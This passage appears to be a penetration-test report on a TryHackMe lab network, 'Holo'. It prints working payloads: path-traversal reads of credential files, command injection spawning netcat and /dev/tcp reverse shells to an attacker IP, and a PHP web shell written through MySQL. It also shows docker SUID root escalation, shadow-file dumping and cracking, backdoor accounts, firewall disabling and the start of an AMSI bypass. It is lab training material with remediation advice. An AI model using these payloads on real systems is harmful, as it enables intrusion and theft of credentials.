11. http://admin.holo.live/examples (Status: 301) [Size: 321] [--> http://admin.holo.live/examples/]
12. http://admin.holo.live/index.php (Status: 200) [Size: 1845]
13. http://admin.holo.live/javascript (Status: 301) [Size: 323] [--> http://admin.holo.live/javascript/]
14. http://admin.holo.live/robots.txt (Status: 200) [Size: 135]
15. http://admin.holo.live/robots.txt (Status: 200) [Size: 135]
16. http://admin.holo.live/server-status (Status: 403) [Size: 280]
17.

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• Result of gobuster dir with file extension search for dev.holo.live
sudo gobuster -t 15 --delay 100ms dir -e -u "http://dev.holo.live" -o TryHackMe-gobuster-dir-file-dev.holo.live -w ~/Desktop/TryHackMe-
Holo-Network-Premium-Completed/big.txt -x txt,php

1. http://dev.holo.live/.htaccess (Status: 403) [Size: 278]

2. http://dev.holo.live/.htaccess.txt (Status: 403) [Size: 278]
3. http://dev.holo.live/.htaccess.php (Status: 403) [Size: 278]
4. http://dev.holo.live/.htpasswd (Status: 403) [Size: 278]
5. http://dev.holo.live/.htpasswd.txt (Status: 403) [Size: 278]
6. http://dev.holo.live/.htpasswd.php (Status: 403) [Size: 278]
7. http://dev.holo.live/about.php (Status: 200) [Size: 9612]
8. http://dev.holo.live/admin (Status: 403) [Size: 278]
9. http://dev.holo.live/admin.php (Status: 403) [Size: 278]
10. http://dev.holo.live/css (Status: 301) [Size: 312] [--> http://dev.holo.live/css/]
11. http://dev.holo.live/fonts (Status: 301) [Size: 314] [--> http://dev.holo.live/fonts/]
12. http://dev.holo.live/images (Status: 301) [Size: 315] [--> http://dev.holo.live/images/]
13. http://dev.holo.live/img.php (Status: 200) [Size: 0]
14. http://dev.holo.live/index.php (Status: 200) [Size: 7515]
15. http://dev.holo.live/javascript (Status: 301) [Size: 319] [--> http://dev.holo.live/javascript/]
16. http://dev.holo.live/js (Status: 301) [Size: 311] [--> http://dev.holo.live/js/]
17. http://dev.holo.live/login (Status: 403) [Size: 278]
18. http://dev.holo.live/login.php (Status: 403) [Size: 278]
19. http://dev.holo.live/server-status (Status: 403) [Size: 278]
20.

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From the gobuster result, we know that admin.holo.live does has "robots.txt" and it contain an
interesting path to a file called "creds.txt" as shown below:

Below is the code snippet for "robots.txt" of admin.holo.live:

1. User-agent: *
2. Disallow: /var/www/admin/db.php
3. Disallow: /var/www/admin/dashboard.php
4. Disallow: /var/www/admin/supersecretdir/creds.txt

From here, we know probably we can retrieve the file by exploiting Local File Inclusion
vulnerability in PHP.

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However, we are unable to retrieve the file from admin.holo.live as it is a login page as shown
below:

Below is the source for the login page of admin.holo.live:

Copyright © Black Sun Security P a g e 27 | 126

Let's check out dev.holo.live, if the Local File Inclusion vulnerability can be found.

This is the main page of dev.holo.live:

This is the talent page of dev.holo.live:

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This is the source for the talent page of dev.holo.live:

Looking at the source for talent page of dev.holo.live, we have notice there is a possibly of Local
File Inclusion vulnerability – “ img.php?file= ”

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Exploitation on LFI

Let's try out --- the payload we used is “ http://dev.holo.live/img.php?file=../../../etc/passwd ”

Below is the result:

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Now, let's modified our payload to “
http://dev.holo.live/img.php?file=../../../var/www/admin/supersecretdir/creds.txt ”

This will allow us try to retrieve the “ creds.txt ” as shown below that is stated in “ robots.txt ” of
admin.holo.live as we know development environment usually is a replication of production
environment.

Proof of Concept Code as shown below:

• http://dev.holo.live/img.php?file=../../../etc/passwd
• http://dev.holo.live/img.php?file=../../../var/www/admin/supersecretdir/creds.txt

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First Vulnerability Found

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Impact | Severity of the vulnerability:

• Medium

System Affected:
• http://dev.holo.live

Description of the vulnerability found:

• HOLO allowed special elements such as ".." and "/" separators in all web application.
• This configuration allow attackers can escape outside of the restricted location to access
files or directories that are elsewhere on the system in which BLACK SUN SECURITY used
to obtained sensitive information and user account credentials of HOLO system.

Explanation of the vulnerability found:

• Many file operations are intended to take place within a restricted directory.
• By using special elements such as ".." and "/" separators, attackers can escape outside of
the restricted location to access files or directories that are elsewhere on the system.
• One of the most common special elements is the "../" sequence, which in most modern
operating systems is interpreted as the parent directory of the current location.
• This is referred to as relative path traversal.

Copyright © Black Sun Security P a g e 32 | 126

Remediation Owner:
• Web Application Developer
• System Owner

Copyright © Black Sun Security P a g e 33 | 126

MITRE ATT&CK Framework References (Exploit LFI)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used
on target system as listed below:

• Tactic - TA0043 - Reconnaissance

• Technique - T1595 - Active Scanning
• Technique - T1592 - Gather Victim Host Information
• Technique - T1590 - Gather Victim Network Information
• Sub-technique - T1595.001 - Active Scanning: Scanning IP Blocks
• Sub-technique – T1592.002 - Gather Victim Host Information: Software
• Sub-technique – T1590.005 - Gather Victim Network Information: IP Addresses
• Tactic - TA0001 - Initial Access
• Tactic - TA0006 - Credential Access
• Technique - T1190 - Exploit Public-Facing Application
• Technique - T1552 - Unsecured Credentials
• Technique – T1212 - Exploitation for Credential Access
• Sub-technique - T1552.001 - Unsecured Credentials: Credentials In Files

Copyright © Black Sun Security P a g e 34 | 126

Targeted System: http://admin.holo.live (Web Application) – 10.200.107.33 (Host IP)

Web Enumeration

Now we get a credentials from

http://dev.holo.live/img.php?file=../../../var/www/admin/supersecretdir/creds.txt, let's try to login to
admin.holo.live:

Once we login, we check on the source of “dashboard.php”, right away we notice there is PHP
Remote Code Execution (OWASP Command Injection) under the section of "visitor visited today"
and Holo developer has written a comment as well.

Below is the code snippet of the comment written by Holo developer:

1. s

Copyright © Black Sun Security P a g e 35 | 126

Exploitation on LFI with RCE

Let's try out --- the payload we used is http://admin.holo.live/dashboard.php?cmd=ls+-

la%20&&%20echo%20%22%22 as shown below (notice here we are using URL encoded
formatted to eliminate the space render in URL):

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Below is the code snippet for the payload we used without URL encoded format:
1. http://admin.holo.live/dashboard.php?cmd=ls+-la&&echo""

Let's modified our payload to get reverse shell to

http://admin.holo.live/dashboard.php?cmd=nc%20-c%20bash%2010.50.103.20%2018888

We are using curl command as shown below to perform this exploit to get our reverse shell:

1. curl http://admin.holo.live/dashboard.php?cmd=nc%20-c%20bash%2010.50.103.20%2018888
2.

Reverse Shell Access

Reverse shell called back from admin.holo.live as shown below:

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Proof of Concept Code as shown below:
• http://admin.holo.live/dashboard.php?cmd=ls+-la&&echo""
• http://admin.holo.live/dashboard.php?cmd=ls+-la%20&&%20echo%20%22%22
• http://admin.holo.live/dashboard.php?cmd=nc%20-c%20bash%2010.50.103.20%2018888

First Vulnerability Found

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command

Injection')

Impact | Severity of the vulnerability:

• High

System Affected:
• http://admin.holo.live

Description of the vulnerability found:

• HOLO does not neutralizes special elements in the web application.
• This configuration allows attackers to execute commands on the system in which BLACK
SUN SECURITY gain access foothold to the system.

Explanation of the vulnerability found:

• This vulnerability allows attackers to execute unexpected, dangerous commands directly on
the operating system.
• This weakness can lead to a vulnerability in environments in which the attacker does not
have direct access to the operating system, such as in web applications.
• Alternately, if the weakness occurs in a privileged program, it could allow the attacker to
specify commands that normally would not be accessible, or to call alternate commands
with privileges that the attacker does not have.
• The problem is exacerbated if the compromised process does not follow the principle of
least privilege, because the attacker-controlled commands may run with special system
privileges that increases the amount of damage.

Copyright © Black Sun Security P a g e 38 | 126

Vulnerability Fix | Remediation:
• Assume all input is malicious.
• Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs
that strictly conform to specifications.
• Reject any input that does not strictly conform to specifications or transform it into
something that does.
• When performing input validation, consider all potentially relevant properties, including
length, type of input, the full range of acceptable values, missing or extra inputs, syntax,
consistency across related fields.
• Denylists can be useful for detecting potential attacks or determining which inputs are so
malformed that they should be rejected outright.
• When constructing OS command strings, use stringent allowlists that limit the character set
based on the expected value of the parameter in the request. This will indirectly limit the
scope of an attack, but this technique is less important than proper output encoding and
escaping.
• Note that proper output encoding, escaping, and quoting is the most effective solution for
preventing OS command injection, although input validation may provide some defence-in-
depth. This is because it effectively limits what will appear in output. Input validation will not
always prevent OS command injection, especially if you are required to support free-form
text fields that could contain arbitrary characters. For example, when invoking a mail
program, you might need to allow the subject field to contain otherwise-dangerous inputs
like ";" and ">" characters, which would need to be escaped or otherwise handled. In this
case, stripping the character might reduce the risk of OS command injection, but it would
produce incorrect behaviour because the subject field would not be recorded as the user
intended. This might seem to be a minor inconvenience, but it could be more important
when the program relies on well-structured subject lines to pass messages to other
components.
• Even if you make a mistake in your validation (such as forgetting one out of 100 input
fields), appropriate encoding is still likely to protect you from injection-based attacks. If it is
not done in isolation, input validation is still a useful technique, since it may significantly
reduce your attack surface, allow you to detect some attacks, and provide other security
benefits that proper encoding does not address.

Copyright © Black Sun Security P a g e 39 | 126

Remediation Owner:
• Web Application Developer
• System Owner

MITRE ATT&CK Framework References (Exploit LFI with RCE)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used
on target system as listed below:

• Tactic - TA0001 - Initial Access

• Technique – T1078 – Valid Accounts
• Sub-technique – T1078.003 - Valid Accounts: Local Accounts
• Tactic - TA0001 - Initial Access
• Tactic – TA0002 - Execution
• Technique - T1190 - Exploit Public-Facing Application
• Technique – T1059 - Command and Scripting Interpreter
• Sub-technique – T1059.004 - Command and Scripting Interpreter: Unix Shell

System Enumeration

Next, we are enumerating through the directories (/var/www/admin – which is the web hosting
directories) on target system as shown below:

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We found “db_connect.php” at /var/www/admin with the content of database credential as shown
below:

User.txt

We enumerated through /var/www and found “user.txt”:

Copyright © Black Sun Security P a g e 41 | 126

Next we enumerated through “/” directory and located “.dockerenv” using command shown below,
this file exists, and it let us know current system is a docker container environment.

1. find / -type f -name "*.dockerenv" -ls 2>/dev/null

Since this is a docker container environment, we know that docker often create docker network as
internal network to connect different containers, we decided to check out the network information
from current docker container by using “ifconfig” command (though the “db_connect.php” has
disclosed part of the information).

From the network information shown, we currently on 192.168.100.0/24 network which is

inaccessible from Holo corporate network (10.200.107.0/24)

We then check on the routing information by using “route -nv” command and the result shown
below:

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From the routing, we know the gateway is 192.168.100.1

Let's perform a quick port scanning on 192.168.100.1 leveraging the netcat binary available on
current docker container as shown below:

1. for port in {1..20000}; do timeout 2 nc -znv 192.168.100.1 $port 2>&1 | grep open ; done
2.

From the port scanning result, we know that there is mysql service running on 192.168.100.1, we
may use the credential found previously (db_connect.php) to login into mysql server which reside
on 192.168.100.1

We can confirm this by checking if mysql client connection is running on current docker container
by using “ps -elf | grep mysql” command and result as shown below:

MySQL Database Enumeration

Let's login to mysql server on 192.168.100.1 by using “mysql -u admin -p -h 192.168.100.1”

command and result as shown below:

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We then perform enumeration and information gathering from mysql server:

• First, we check on the version of mysql server as shown below:

1. SHOW VARIABLES LIKE “%version%”;

• Then we get the information of databases available as shown below:

1. show databases;
2.

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• There is one database is not the default database created by mysql --- “DashboardDB”, we
have selected this database to enumerate further as shown below:

1. use DashboardDB;
2.

• We use “show tables;” to understand what the tables are available on this “DashboardDB”
database and we found a user table, we have dumped the entire user table out as shown
below:

Copyright © Black Sun Security P a g e 45 | 126

• We also dumping the user table from mysql database, as we know this is the table store the
credentials of mysql by “SELECT User FROM mysql.user;” and “SELECT
host,User,authentication_string FROM mysql.user;” as shown below:

Copyright © Black Sun Security P a g e 46 | 126

Escaping Docker Container

As we have the access to mysql server on 192.168.100.1, we can exploit the mysql server to
escape current docker container and gain access to the host system.

Here is the reference - Generate Backdoor via SQL Injection

Below are the actions we perform to escape current docker container and gain access to the host
system.

• Create a table named "hacker" under the active database, in this case the active database
is “DashboardDB”, though we can also create our own database, however, to ensure the
access to the host system and being low-profile we going to use current active database.
• Then we use "INSERT" statement to insert our php payload into the table just created.
o PHP Payload as shown in the code snippet below:
1. <?php $cmd=$_GET[“cmd”];system($cmd);?>

• Next, we use "SELECT" statement with "outfile" feature to dump the php payload to a file
• Last, we use "curl" command (curl 192.168.100.1:8080/shell.php?cmd=whoami) to get the
response of our php to ensure our php payload is working properly

Below is The Proof-of-Concept Payload Code we used:

1. CREATE TABLE hacker ( hacker varchar(255) );

2.
3. INSERT INTO hacker (hacker) VALUES (‘<?php $cmd=$_GET[“cmd”];system($cmd);?>’);
4.
5. SELECT '<?php $cmd=$_GET["cmd"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell.php';
6.
7. curl 192.168.100.1:8080/shell.php?cmd=whoami

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Below is the result of the payload and the result of “curl” command:

We have the php working, we can craft and get reverse shell callback from host system to our
attacker machine.

First, we crafted a reverse shell bash script named "rev.sh" on our local attacker machine, you
may find this reference for reverse shell payload

Here is The Proof-of-Concept Reverse Shell Payload Code used as shown in below code snippet:

1. #!/bin/bash
2. bash -i >& /dev/tcp/10.50.103.20/23333 0>&1
3.

Copyright © Black Sun Security P a g e 48 | 126

Next, we spin up python web server allow target host system to get our reverse shell script as
shown below with the python command shown in the code snippet:

1. python3 -m http.server 80
2.

In the meantime, we also spin up netcat listener to catch the callback from target host system as
shown below with the netcat command shown in the code snippet:

1. sudo nc -lnvvp 23333

Now, back to our docker container system, using curl to allow 192.168.100.1 get our reverse shell
script and execute it by bash.

Below is The Proof-of-Concept Payload Code we used.

1. # This is the payload

2. curl 'http://192.168.100.1:8080/shell.php?cmd=curl http://10.50.103.20:80/rev.sh|bash &'
3.
4.
5. # This is the payload with URL Encode to eliminate the issue of URl with space
6. curl 'http://192.168.100.1:8080/shell.php?cmd=curl%20https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2F10.50.103.20%3A80%2Frev.sh%7Cbash%20%26'
7.

Copyright © Black Sun Security P a g e 49 | 126

Below is the response of python web server on our attacker machines:

Below is the response of netcat listener on our attacker machines:

MITRE ATT&CK Framework References (Escape Docker Container)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
escape docker container environment on target system as listed below:

• Tactic – TA0008 - Lateral Movement

• Technique – T1210 - Exploitation of Remote Services
• Tactic - TA0001 - Initial Access
• Technique – T1078 – Valid Accounts
• Sub-technique – T1078.003 - Valid Accounts: Local Accounts
• Tactic – TA0004 - Privilege Escalation
• Technique – T1611 – Escape to Host

Copyright © Black Sun Security P a g e 50 | 126

Host Enumeration

Right away, we search for binaries with setuid bit using command below:

1. find / -type f -perm -04000 -ls 2>/dev/null

Below is the result of setuid bit binaries:

Privilege Escalation to Root

We notice unusual docker binary with setuid, searching online with the reference of
https://gtfobins.github.io/gtfobins/docker/#suid showing we can exploit such docker binary with
setuid bit to escalate privilege to root.

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The Proof-of-Concept Payload Code we used as shown below:

1. docker run -v /:/mnt --rm -it ubuntu:18.04 chroot /mnt sh -p

Below is the result once we execute our payload:

MITRE ATT&CK Framework References (Privilege Escalation to Root)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
escalate privilege to root user on target system as listed below:

• Tactic – TA0004 - Privilege Escalation

• Technique – T1548 - Abuse Elevation Control Mechanism
• Sub-technique – T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid

Copyright © Black Sun Security P a g e 52 | 126

User.txt

We found user.txt at /var/www directory as shown below:

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Root.txt

Since we are root, we found root.txt at /root as shown below:

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Host System Enumeration

Next, we going to enumerate system.

First, dumping “/etc/passwd” and “/etc/shadow” as we know passwd and shadow are useful for us
to gain access to the system as well as cracking the password of valid user.

Below is the result of “/etc/passwd”:

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Below is the result of “/etc/shadow”:

From the “/etc/passwd”, we know that - there is one non-system user --- “linux-admin”

MITRE ATT&CK Framework References (Credential Dumping)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
dump the “/etc/passwd” and “/etc/shadow” from target system as listed below:

• Tactic - TA0006 - Credential Access

• Technique – T1003 - OS Credential Dumping
• Sub-technique – T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow

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Persistent Access (Maintain Access)

For us to gain persistent access to the system, we have generated sshkey on attacker machine
and copy to target system.

The Proof-of-Concept Payload Code used to generate sshkey and insert to “root” and “linux-
admin” user “authorized_keys” as shown below

1. ssh-keygen -t rsa -f fake_id_rsa -P "" && cat fake_id_rsa.pub

Below is the result of sshkey generated:

Below is the result of insert sshkey created to “root” user account on target system:

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Below is the result of insert sshkey created to “linux-admin” user account on target system -
including create “.ssh” directory as “linux-admin” does not have such directory that contain sshkey:

We also create additional user just in case and as a secondary source to gain access back to the
system.

The Proof-of-Concept Payload Code used to generate user and change password as below

1. # Create a user called "hacker"

2. useradd -m hacker
3.
4. # Change password as "hacker" for the "hacker" user
5. echo hacker:hacker | chpasswd

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Below is the result of the Proof-of-Concept Payload Code:

MITRE ATT&CK Framework References (Persistent Access)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
create persistent access on target system as listed below:

• Tactic – TA0003 - Persistence

• Technique – T1098 - Account Manipulation
• Sub-technique – T1098.004 - Account Manipulation: SSH Authorized Keys
• Technique – T1136 – Create Account
• Sub-technique – T1136.001 - Create Account: Local Account

Password Cracking

Back to our attacker machine, as we have the shadow file; we can try to crack the password
especially for the user called "linux-admin"

Here is the reference of Project 12: Cracking Linux Password Hashes with Hashcat

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The hashcat command used to crack "linux-admin" password as below (note that we are using
windows system for hashcat here):

1. hashcat.exe -m 1800 test2.hccapx ..\password-list\simple-rockyou.lst -o ..\cracked.txt -O

Below is the result of hashcat command:

The "test2.hccapx" is the hash for "linux-admin" user password from shadow file:

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Below is the output of a successful crack of “linux-admin” user password from shadow file using
hashcat:

MITRE ATT&CK Framework References (Password Cracking)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
crack the user password from shadow file as listed below:

• Tactic - TA0006 - Credential Access

• Technique – T1110 – Brute Force
• Sub-technique – T1110.002 – Brute Force: Password Cracking

Nmap Network Scan

As of now, we have completely owned the system of 10.200.107.33

However, as from our first nmap result there is no other system available for us. Hence we
decided to ssh back to 10.200.107.33 and we notice there is nmap binary available.

We have utilized nmap from 10.200.107.33 to perform quick scan for host alive by using command
below:

1. nmap -nvv -sn 10.200.107.0/24 | grep -B 1 up

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Below is the result of nmap network scan for host alive from 10.200.107.33:

From the nmap network scan result, we know that; there are several systems on the network:

• 10.200.107.31
• 10.200.107.32
• 10.200.107.35
• 10.200.107.30

Nmap Host Port Scan

Next we perform in-depth scan for each host.

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10.200.107.30

Scan for 10.200.107.30 using nmap command below:

1. nmap -nvv -Pn -T4 -F 10.200.107.30

Nmap result for 10.200.107.30 as shown below:

From the rustscan result we know the port open of our target system as below:
• TCP: 80, 88, 135, 139, 389, 445, 3389

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10.200.107.31

Scan for 10.200.107.31 using nmap command below:

1. nmap -nvv -Pn -T4 -F 10.200.107.31

Nmap result for 10.200.107.31 as shown below:

From the rustscan result we know the port open of our target system as below:
• TCP: 22, 80, 135, 139, 443, 445, 3306, 3389

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10.200.107.32

Scan for 10.200.107.32 using nmap command below:

1. nmap -nvv -Pn -T4 -F 10.200.107.32

Nmap result for 10.200.107.32 as shown below:

From the rustscan result we know the port open of our target system as below:
• TCP: 135, 139, 445, 3389

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10.200.107.35

Scan for 10.200.107.35 using nmap command below:

1. nmap -nvv -Pn -T4 -F 10.200.107.35

Nmap result for 10.200.107.35 as shown below:

From the rustscan result we know the port open of our target system as below:
• TCP: 80, 135, 139, 445, 3389

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MITRE ATT&CK Framework References (Nmap Network and Host Port Scan)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
perform nmap network scan on 10.200.107.0/24 and nmap host scan as listed below:

• Tactic - TA0043 - Reconnaissance

Network Pivoting

Do take a note on all the nmap result, it showing all other systems are Windows.

We have confirmed that on our attacker machine, we are unable access to any host other than
10.200.107.33

Ping result for 10.200.107.31 on our attacker machine.

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Below is the result of port 80 - http for 10.200.107.31 on our attacker machine:

With all the information we gathered, we can conclude that Holo designed their corporate network
with segmentation.

We will need to forward our attacker traffic to Holo corporate network leveraging the host system
we gained access which is 10.200.107.33

We decided to use “sshuttle” - a proxy tools utilize ssh to forward our attacker traffic via ssh on
10.200.107.33 to Holo corporate network 10.200.107.0/24

This is crucial for us to access other system from now on.

The command we used for sshuttle as below (note that command is executed on our attacker
machine):

1. sudo sshuttle -D -N -r linux-admin:[email protected] -x 10.200.107.33 10.200.107.0/24 -vvv

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Below is the result of “sshuttle” command:

Checking “sshuttle” process is running by issue command “sudo ps -elf | grep sshu” as shown
below:

After “sshuttle” is running, we can access to the port 80 which is HTTP service for 10.200.107.31
on our attacker machine.

Below is the main page of port 80 (HTTP Service) of 10.200.107.31:

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MITRE ATT&CK Framework References (Network Pivoting)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
access 10.200.107.31 as listed below:

• Tactic – TA0011 - Command and Control

• Technique – T1572 - Protocol Tunneling

Targeted System: 10.200.107.31 (Host IP)

Web Enumeration

Below is the main page of port 80 (HTTP Service) of 10.200.107.31:

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Below is the source for the main page of 10.200.107.31:

As 10.200.107.31 showing login page, we decide to try to log into it using the credentials found
previously (that we dump from the database called "DashboardDB" that is in mysql server on
192.168.100.1).

Take a note of the "Forgot Password" page that we have not explore for now.

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Login using “gurag” user, below is the response page:

From the response of login page, we know that gurag is a valid user.

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MITRE ATT&CK Framework References (Account Discovery)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
check validity of user on 10.200.107.31 as listed below:

• Tactic – TA0007 - Discovery

• Technique – T1087 – Account Discovery
• Sub-technique – T1087.001 – Account Discovery: Local Account

Exploitation on Weak Password Recovery Mechanism

Let's jump back to "Forgot Password" page as shown below.

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Below is the source of forgot password page on 10.200.107.31:

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Below is the request and response header of forgot password page:

Now we try to reset "gurag" password as it is a valid user that allow us login as shown below:

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From the request header, we can see that the password reset (initially from reset_form.php) was
sent to "password_reset.php" and require a "username" and "user_token".

Below are the request and response cookies from the reset password:

From the response cookies, we can retrieve the "user_token" which is a weak password reset
mechanism fall under OWASP - Broken Authentication.

With the "user_token" visible, we are now able to craft a valid password reset link for our targeted
user "gurag"

The Proof-of-Concept Payload Code we used as below:

1. curl http://10.200.107.31/password_reset.php?user=gurag&user_token=input_user_token_here
2.
3.
4. # Example
5. curl
'http://10.200.107.31/password_reset.php?user=gurag&user_token=68d0f48756dc369c1f900efac880c7fc6935badc03adae50d207e85
95f540439721b1af96d6d7efb87d56efa398ebd491859'

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Below is the password reset link for the user "gurag":

And we visit the password reset page again for user "gurag", below is the response that allow us
to input new password for "gurag"

reset.php with request and response header as shown below:

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reset.php with request and response cookies as shown below:

Web Flag

Once we input our new password for the user "gurag" and we get another flag as shown below:

First Vulnerability Found

CWE-640: Weak Password Recovery Mechanism for Forgotten Password

Impact | Severity of the vulnerability:

• Medium

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System Affected:
• 10.200.107.31

Description of the vulnerability found:

• HOLO impose weak password recovery mechanism.
• This configuration allows attackers to construct a password reset poisoning attack in which
BLACK SUN SECURITY leveraging valid user account information to submits password
reset request on their behave and intercept resulting HTTP request which contain victim
password reset token (as URL link).
• Then BLACK SUN SECURITY acting on behave of the user visit the link that given option
to enter a new password in which resulting password change and token destroyed.

Explanation of the vulnerability found:

• This vulnerability allows attackers to recover or change victim passwords without knowing
the original password, as the password reset mechanism is weak. One of the methods to
successful exploit this vulnerability is password reset poisoning.
• Password reset poisoning is a technique whereby an attacker manipulates a vulnerable
website into generating a password reset link pointing under their control. This behavior can
be leveraged to steal the secret tokens required to reset arbitrary users' passwords and,
ultimately, compromise their accounts.

References for the vulnerability:

• Password reset poisoning - PortSwigger
• Password Reset Vulnerability (Poisoning) - Acunetix

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Vulnerability Fix | Remediation:
• Make sure that all input supplied by the user to the password recovery mechanism is
thoroughly filtered and validated.
• Require that the user properly answers the security question prior to resetting their
password and sending the new password to the e-mail address of record.
• Validate host header before use do not trust host header blindly do not rely on Host header
completely

Remediation Owner:
• Web Application Developer

Exploitation on Unrestricted File Upload

Now we can login to http://10.200.107.31

Below is the home page that allow us to upload image after login.

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Below is the source for the home page after login to 10.200.107.31:

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Below is the upload image page:

Below is the source for upload image page:

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From the source of upload image page, we can see that it is using a JavaScript named "upload.js"
to process the upload.

We have check on the "upload.js" JavaScript, below is what we found interesting; basically, it
allows us to upload anything to 10.200.107.31:

With unrestricted file upload, we can craft a reverse shell php and upload to 10.200.107.31 that
will get us access to the system, refer to this link for PHP Reverse Shell

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Download php reverse shell code and modify the php reverse shell and provide the IP of our
attacker machine and port to be bind as shown below:

The specific Proof-of-Concept Payload Code used in PHP Reverse Shell as shown in code
snippet below:

1. $sh = new Shell('10.50.103.20',18888);

Upload to 10.200.107.31 via upload page and it show a successful uploaded message in below:

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Second Vulnerability Found

CWE-434: Unrestricted Upload of File with Dangerous Type

Impact | Severity of the vulnerability:

• High

System Affected:
• 10.200.107.31

Description of the vulnerability found:

• HOLO allowed unrestricted upload of file to the http://10.200.107.31
• This configuration allows attackers to upload malicious file that create backdoor or reverse
shell to the system in which BLACK SUN SECURITY used to upload reverse shell php file
and gain access to the system.

Explanation of the vulnerability found:

• Uploaded files represent a significant risk to applications. The first step in many attacks is to
get some code to the system to be attacked. Then the attack only needs to find a way to get
the code executed. Using a file upload helps the attacker accomplish the first step.
• The consequences of unrestricted file upload can vary, including complete system
takeover, an overloaded file system or database, forwarding attacks to back-end systems,
client-side attacks, or simple defacement. It depends on what the application does with the
uploaded file and especially where it is stored.
• The impact of this vulnerability is high, supposed code can be executed in the server
context or on the client side. The likelihood of detection for the attacker is high. The
prevalence is common. As a result the severity of this type of vulnerability is high.

References for the vulnerability:

• Unrestricted File Upload - OWASP

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Vulnerability Fix | Remediation:
• Ensure that only one extension is used in the filename. Some web servers, including some
versions of Apache, may process files based on inner extensions so that "filename.php.gif"
is fed to the PHP interpreter.[REF-422] [REF-423]
• Define a very limited set of allowable extensions and only generate filenames that end in
these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm
file types.
• It is necessary to have a list of only permitted extensions on the web application. And, file
extension can be selected from the list. For instance, it can be a “select case” syntax (in
case of having VBScript) to choose the file extension in regards to the real file extension.
• Uploaded directory should not have any “execute” permission and all the script handlers
should be removed from these directories.

Remediation Owner:
• Web Application Developer
• System Owner

Web Enumeration on Upload Directory

However, we have no idea where the file is stored in the system.

For this we fire up gobuster to check what is the directory available.

The gobuster command we used as below:

1. sudo gobuster -t 35 –delay 100ms dir -e -u http://10.200.107.31 -o TryHackMe-gobuster-dir-10.200.107.31 -w

/usr/share/dirb/wordlists/common.txt

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And below is the result of gobuster scan, there is a directory called "images".

We access to the directory found and the reverse shell php is inside.

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Reverse Shell Access

Next we spin up netcat listener on our attacker machine and using curl command to activate the
php reverse shell we have uploaded to 10.200.107.31

Below is the command we used:

1. curl http://10.200.107.31/images/rev.php

Below is the result of “curl” command to activate php reverse shell:

Below is the reverse shell call-back and received on our attacker machine:

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MITRE ATT&CK Framework References (Exploitation on Unrestricted File Upload)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
gain reverse shell access on 10.200.107.31 as listed below:

• Tactic - TA0001 - Initial Access

• Tactic – TA0002 - Execution
• Technique - T1190 - Exploit Public-Facing Application
• Technique – T1059 - Command and Scripting Interpreter
• Sub-technique – T1059.004 - Command and Scripting Interpreter: Unix Shell
• Tactic – TA0003 - Persistence
• Technique – T1505 - Server Software Component
• Sub-technique – T1505.003 - Server Software Component: Web Shell

Persistent Access (Maintain Access)

Right away, we know this is a Windows system, and checking basic information as below:

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Since this is a reverse shell which is unstable and we will need to create persistent access to the
system, below is what we have done to gain persistent access to the system.

• create a user on the system

• add the user created to local administrator group
• turn off windows firewall for all profile
• add "Everyone" into "Remote Desktop Users", this will allow us to remote desktop into the
system.

Below is the Proof-of-Concept Payload Code we used for above mentioned tasks.

1. net user hacker hackP@ssw0rd /add

2. net localgroup administrators hacker /add
3. netsh advfirewall set allprofiles state off
4. net localgroup "Remote Desktop Users" Everyone /Add

Below is the screenshot of above command executed successfully:

MITRE ATT&CK Framework References (Persistent Access)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
create persistent access on 10.200.107.31 as listed below:

• Tactic – TA0003 - Persistence

• Technique – T1098 - Account Manipulation
• Technique – T1136 – Create Account
• Sub-technique – T1136.001 - Create Account: Local Account
• Tactic – TA0005 – Defense Evasion
• Technique – T1562 - Impair Defenses
• Sub-technique – T1562.004 - Impair Defenses: Disable or Modify System Firewall

Defense Evasion

As we are working with Windows system, we also using powershell command below to bypass
Windows AMSI, this will allow us to run command or execute tools without trigger Windows Anti-
Malware system.

1. [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String
